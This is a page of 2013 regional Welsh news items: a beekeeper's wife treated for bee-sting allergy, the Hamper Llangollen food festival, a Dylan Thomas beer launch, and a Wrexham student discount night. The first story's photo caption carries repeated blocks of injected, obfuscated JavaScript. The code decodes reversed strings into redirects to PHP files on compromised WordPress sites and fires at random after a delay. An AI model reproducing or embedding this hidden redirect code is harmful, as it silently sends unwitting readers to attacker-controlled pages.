Category: News

Beekeeper’s wife has pioneering treatment for life-threatening allergy

Lynne Rose with husband Steve collect honey for the Llangollen Food Festival ? because she?s allergic $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to bees she?s having pioneering treatment at Broad Green hospital $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to build up her resistance.

The wife of a beekeeper is living on a knife edge – knowing that a single sting could threaten her life.

As a result keen gardener Lynn Rose won’t be helping husband Steve collect honey from his dozen of hives for the Hamper Llangollen food festival next weekend, Saturday and Sunday, October 19 and 20.

Years of being exposed to bee venom on Steve’s clothes has led to her being highly allergic to the fluffy pollinators, who usually get a warm welcome from gardeners and farmers alike.

After a sting saw Lynn dialling 999 for emergency treatment to save her life, she’s now undergoing pioneering treatment at Broadgreen Hospital in Liverpool to help de-sensitise the allergy.

Meanwhile she’s keeping a safe distance from the hives – home to 200,000 bees – at their house near Corwen, while Steve makes ready his display of honey and all things bee-related for the food festival at Llangollen’s Royal Pavilion.

The 62-year-old and her husband run a B&B at their converted farmhouse home, Cilgwri in Glanrafon, and also offer courses in bee-keeping.

“I didn’t used to have any problems at all, and I’m not scared of bees – and I love honey, I have it every morning on my toast,” said Lynn.

“Our house is on a smallholding of seven acres, at the end of a half-mile track  – we moved here from the Midlands because of the space and to keep bees. But that means there aren’t many people close by if something goes wrong, and there’s poor mobile coverage.

“Steve was out and I was  in the garden when I got the fright of my life. I stepped into the flight path of a bee and it collided with me, on my collarbone. At first I didn’t think I’d been stung and so didn’t panic.

“But then I started to feel very short of breath, and tried to contact my husband but there was no mobile coverage. Finally I managed to alert my neighbour, who saw that I was very unwell.

“I was extremely brerathless and was covered in hives – not the bee home but the little red allergic spots. So we dialled 999 and fortunately an ambulance was nearby, on its way back from Corwen, and was with me in a few minutes.

“When the paramedics got to me I wasn’t in a very good state  – they gave me a nebuliser to help me breath, plus anti-histamine to counter the allergy.

“That seemed to sort me out, and fortunately I didn’t need to go to hospital. But it was scary.

“I now carry an epi-pen to give me a shot of adrenalin in case I get stung again and go into an anaphylactic shock. We’ve moved many of the hives away from the house or onto other sites.

“It seems a lot of bee-keepers’ wives develop an intolerance and even an  allergy to bee stings, because of the venom that’s often on their husband clothes,” explained Lynn, a former animal nurse trainer.

“My GP decided that it wasn’t safe for me, as we live remotely and there’s no way that Steve will give up his bees. So I was referred to Broadgreen allergy clinic. The treatment will last three years in total, so I am only partway through.

“I was injected with  a very small dose of bee venom and then monitored to make sure I didn’t react. The doses got stronger as the treatment went on – at first the injections were once a week, then once a fortnight, and now it’s only once a month that I have to go to Broadgreen.

“Eventually my resistance should be enough to cope with being stung by two bees at the same time,” added Lynn, mum to two sons.

Meanwhile Steve, a retired mining engineer, has been collecting honey from his 40-plus hives ready for the Llangollen Food Festival.

“I will  be displaying  my honey as part of the honey exhibition in the Pavilion, there should be around 100 jars to be judged,” said Steve, who says he’s not been stung himself by a bee for four years.

“We will also have a display area where people can see hives, with photos and a video of the life cycle of a bee.

“The second half of the summer has been good for bees, with flowers coming late – although the bad weather earlier in the year, and last year’s wet summer meant we lost of bees.

“My favourite honey is heather honey, which this year has been exceptional because of the warm August. I am also making honey mead, and there should be entries of cakes, biscuits and breads made with honey  – something for everybody.”

Cadwyn Clwyd’s contribution came via the Rural Development Fund for Wales 2007-2013, which is funded by the European Agricultural Fund for Rural Development (EAFRD) and the Welsh Government.

Robert Price, Cadwyn Clwyd’s agri-food project officer, said: “The location of the Pavilion is absolutely  spectacular – I can’t imagine that any other food festival in the UK has a more beautiful setting.

“It’s also brilliant news for the local economy. If you buy from a local producer, all that money is recycled through the local economy and that sustains employment in our rural areas.”

For more information about Hamper Llangollen 2013 go to: www.llangollenfoodfestival.com

Thursday October 17th, 2013

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Llangollen is to be the culinary capital of the UK for food festival weekend

LLANGOLLEN FOOD FESTIVAL. Pictured is Rob Price from Cadwyn Clwyd with Colin Loughlin and Gwyn Davies.

The picturesque town where Wales meets the world will be the culinary capital of the UK for a whole weekend.

There to greet them at Hamper Llangollen 2013 on Saturday and Sunday, October 19 and 20, will be some of Wales’s  top chefs who have signed up as the stars of the popular food festival.

The event has now established itself as one of the very best in the UK.

Hamper Llangollen was named in the Top 10 food festivals in Britain by the national newspaper, The Independent.

This year’s festival is being supported by the rural development agency, Cadwyn Clwyd.

Cadwyn Clwyd’s contribution came via the Rural Development Fund for Wales 2007-2013, which is funded by the European Agricultural Fund for Rural Development (EAFRD) and the Welsh Government.

Among the highlights this year will be the revival of Britain’s oldest biscuit which dates back to the 13th century.

James Shepherd and his wife, Natasha, from Llansannan, in Conwy, have set up a company to make the historic Aberffraw Biscuit which was first baked in the Anglesey village of the same name 800 years ago.

The tasty scallop-shaped biscuit will be launched at the new products section of Hamper Llangollen.

There will also be a comeback from the woman who co-founded the festival – but this time as one of the exhibitors.

Sue Haygarth was instrumental in setting up Hamper Llangollen and has chosen this year’s event as the launchpad for her own one-woman business.

She was Denbighshire County Council’s Regeneration and Investment officer from 1996 to 2011 when she took early retirement through redundancy

Her spicily named company, KarmaSucre, makes delicious macarons, all of them with natural fillings like homemade lemon curd, passion fruit coulis and salted caramel using Anglesey Sea Salt.

It was 16 years ago that Sue, from Buckley, and Lowri Owain from the rural regeneration agency Cadwyn Clwyd, came up with the idea for a food festival at Llangollen.

She said: “It will be great going to Llangollen, I’m sure I will know lots of people there and it will be good to have to stand and sell my own produce to a big audience.”

Meanwhile, Christmas is coming early for pampered pooches – with a range of doggie treats being launched at Hamper Llangollen.

Canine chef Sharon Ludgate, 34, will be unveiling the new festive cakes and biscuits made for dogs at the popular festival.

According to Sharon, from Penyffordd, near Buckley, in Flintshire, who started her company, Pupcakes, earlier this year, her products are also suitable for human consumption.

She said: “I’m absolutely delighted and so excited to have been invited to attend the Hamper 2013 Llangollen Food Festival, it’s such a massive honour and privilege.

“I’m launching three new specially flavoured Christmas cakes for dogs, apple and cinnamon, ginger and cranberry.”

Colin Loughlin, chair of the local committee that runs the festival.

He said: “This year Graham Tinsley, the star of ITV’s Taste the Nation and a former captain of the Welsh Culinary Team, will be joined in the show kitchen at the festival by the ever popular Dai Chef.

“We have a wonderful array of fantastic food producers clustered in the area and the festival is the perfect shop window for them.”

“Hamper Llangollen is celebrating its 16th anniversary this year and is firmly and rightly established as a major highlight in the UK’s culinary calendar.”

For more information about Hamper Llangollen 2013 go to: www.llangollenfoodfestival.com

Tuesday October 15th, 2013

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Dylan Thomas Ale to celebrate life of poetic genius at Llangollen food fest

Colin Loughlin from Llangollen Food Festival with Ynyr Evans from Llangollen Brewery.

A brewery is celebrating the life of poet Dylan Thomas and the 60th anniversary of his famous visit to Llangollen – by unveiling a brand new beer named after him.

Dylan’s Ale will be launched at the Hamper Llangollen food festival  which is on Saturday and Sunday, October 19 and 20.

The launch of the beer by Llangollen Brewery coincides with the anniversary of the radio broadcast made by the beer loving literary giant about the Llangollen International Musical Eisteddfod for the BBC Home Service in 1953.

Business is booming at the brewery which is based at the Abbey Grange Hotel on the outskirts of the town.

It was set up five years ago by the landlord Steven Evans and his nephew, Ynyr Evans, the head brewer.

They currently make 800 gallons a week and sell their range of beers across the UK. They are now planning to quadruple capacity and take on another three members of staff, taking the total workforce to seven.

Ynyr said: “I’m very excited about the way things are going.

“We’ve been doubling production every year. We’re looking at the possibility moving to other premises so we can have a bigger brewery to cope with the demand.

“I’m hoping that Dylan’s Ale will be another winner for us.”

The historic 10-minute broadcast is a perfect example of the magic Dylan Thomas was able to weave in words.

He describes the one of the town’s most iconic features as the “greybeard bridge” and the big eisteddfod tent – forerunner of the present pavilion – as “an airship crewed full of choirs”.

It also contains the memorable phrase “pig-tailed angels” Thomas used to paint a pen portrait of the Obernkirchen’ Girls Choir who topped the charts around the world after appearing at the festival that year singing The Happy Wanderer.

Dylan Thomas was accompanied on the trip to Llangollen by the late Aneurin Talfan Davies, the then BBC Head of Programmes Wales.

He recalled “The week was spent in apparently aimless meanderings through the streets of the town, occasional half hours in the Eisteddfod marquee and many hours standing at the bars of the far from few pubs of the town.”

The broadcast went out from Swansea on July 13 and Thomas’s fee was 20 guineas.

Next year it’ll be a 100 years since the beer-loving wordsmith was born.

Ynyr Evans felt the new beer was the perfect way of honouring Thomas’s  memory.

He said: “As well as being a magician with words, Dylan Thomas was also famous for liking his pint. He spent a lot of his time in the pubs when he was here for the Llangollen International Musical Eisteddfod.

“I hope he would approve of Dylan’s Ale and that it would have been to his taste.

“All of our beers are very hoppy, so it’s going to follow the same line. But it’ll be a light refreshing beer but still with the classic bitter taste.”

This year’s Hamper Llangollen is being supported by the rural development agency, Cadwyn Clwyd.

Cadwyn Clwyd’s contribution came via the Rural Development Fund for Wales 2007-2013, which is funded by the European Agricultural Fund for Rural Development (EAFRD) and the Welsh Government

Hamper Llangollen Chair Colin Loughlin is delighted the Dylan’s Ale is being launched at the food festival.

He said: “The timing for it is perfect. It’s the 60th anniversary of Dylan Thomas’s historic visit to Llangollen as well as being the centenary of his birth next year.

“The quality of the beers that Llangollen Brewery are bringing out are fantastic so I’m very happy. It is yet another good reason to visit this year’s Hamper Llangollen.

“This year Graham Tinsley, the star of ITV’s Taste the Nation and a former captain of the Welsh Culinary Team, will be joined in the show kitchen at the festival by the ever popular Dai Chef.

“We have a wonderful array of fantastic food and drink producers clustered in the area and the festival is the perfect shop window for them.

“Hamper Llangollen is celebrating its 16th anniversary this year and is firmly and rightly established as a major highlight in the UK’s culinary calendar.”

Robert Price, Cadwyn Clwyd’s agri-food project officer, said: “In addition to many favourites, we have lots of new food producers wanting to come this year.

“The location of the Pavilion is absolutely  spectacular – I can’t imagine that any other food festival in the UK has a more beautiful setting.

“It’s also brilliant news for the local economy. If you buy from a local producer, all that money is recycled through the local economy and that sustains employment in our rural areas.”

For more information about Hamper Llangollen 2013 go to: www.llangollenfoodfestival.com

Monday October 14th, 2013

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Top DJ to hit Wrexham student event

EAGLES MEADOW WREXHAM? Pictured is DJ Ross Roberts who will be performing for the Student Take Over next Thursday. Pictured is Manager of Top Shop on Eagles Meadow Nikki Maddock with DJ Ross Roberts.

A DJ who’s worked with some of the UK’s biggest bands will be performing at a student discount event in Wrexham.

Ross Roberts, 32, who as a DJ and promoter, has worked with the likes of The Charlatans, Miles Kane, Death in Vegas, and Alt J, will be playing  underground indie and punk music for bargain-hunting undergrads at Topshop at Eagles Meadow shopping centre.

It’s part of the centre-wide Student Take Over on Thursday October 17 from 5pm to 8pm, where there will be a host exclusive offers of up to 20% for students in Wrexham when they show a valid student card at the till point of participating stores.

These include 20% off at Animal, Bank, Topshop, Topman, Ragazzi, Pizza Express, Nando’s, Trespass, and The Real China.

There will also be 15% off at Dorothy Perkins, and 20% off pre-owned items at Grainger Games.

Ross, whose musical journey took off six years ago when he began gigging in Wrexham’s pubs, can’t wait for the Student Take Over at Eagles Meadow.

He said: “Music and fashion go hand in hand. It’s the perfect event because students love their music.

“The promoting takes up most of my time now, but I still love to DJ when I can. Music is my big passion.”

Ross now promotes gigs all over the UK through his event management company Rope.

He said: “It all started in a pub in Wrexham where I got asked to DJ, and it just grew from there.

“The first big band I booked was the Mystery Jets. I also booked Alt J before they went on to win the Mercury Prize last year. It was a really great gig.

“When I booked them they were largely unknown, but by the time the gig came round Fearne Cotton had played them on Radio 1 so there was a big buzz.”

Director of designer clothes store Ragazzi, Andrew Burson, said: “The Student Take Over is a great thing for the centre. It’ll bring in new people to the centre and gives us a chance to showcase what we have to offer.

“We’ve got a lot of brands that are very popular with students such as Lyle and Scott, Pretty Green, and Barbour. We mostly sell menswear but we do have clothers for women as well.”

Glyndwr University Students’ Guild President Luke Murphy said: “Eagles Meadow is a big favourite with students in Wrexham so I’m sure these offers will prove very popular.

“Some of retail’s biggest names are involved so it’s an opportunity for them to grab a bargain.

“We look forward to working closely with Eagles Meadow over the coming months on other events that will benefit Glyndwr University students.”

Topshop manager Jess Wills said: “I’m really excited about the Student Take Over. It’s a great opportunity for students to get that must have item at a bargain price.

“We’ve got Ross coming down to DJ and we’ve also got a beautician from Ivory Beauty.

“It’s not just about selling clothes. We want customers to have a great shopping experience. It’s about lifestyle at the end of the day, and music is a big part of that.

“It’s all about having the right vibe.”

Eagles Meadow Manager Kevin Critchley said: “These events are very popular elsewhere so it’s great to bring it to Wrexham.

“It means students don’t have to travel to find discounts and while they do tend to be fashion-conscious, especially in Wrexham, they don’t usually have big budgets.

“There are a good range of shops at Eagles Meadow and they’re offering some excellent discounts on what should be a really fun night for the many students in the town.”

For more information about Eagles Meadow shopping centre visit www.eagles-meadow.co.uk and to find out more about Rope visit www.rope-events.co.uk.

Monday October 14th, 2013

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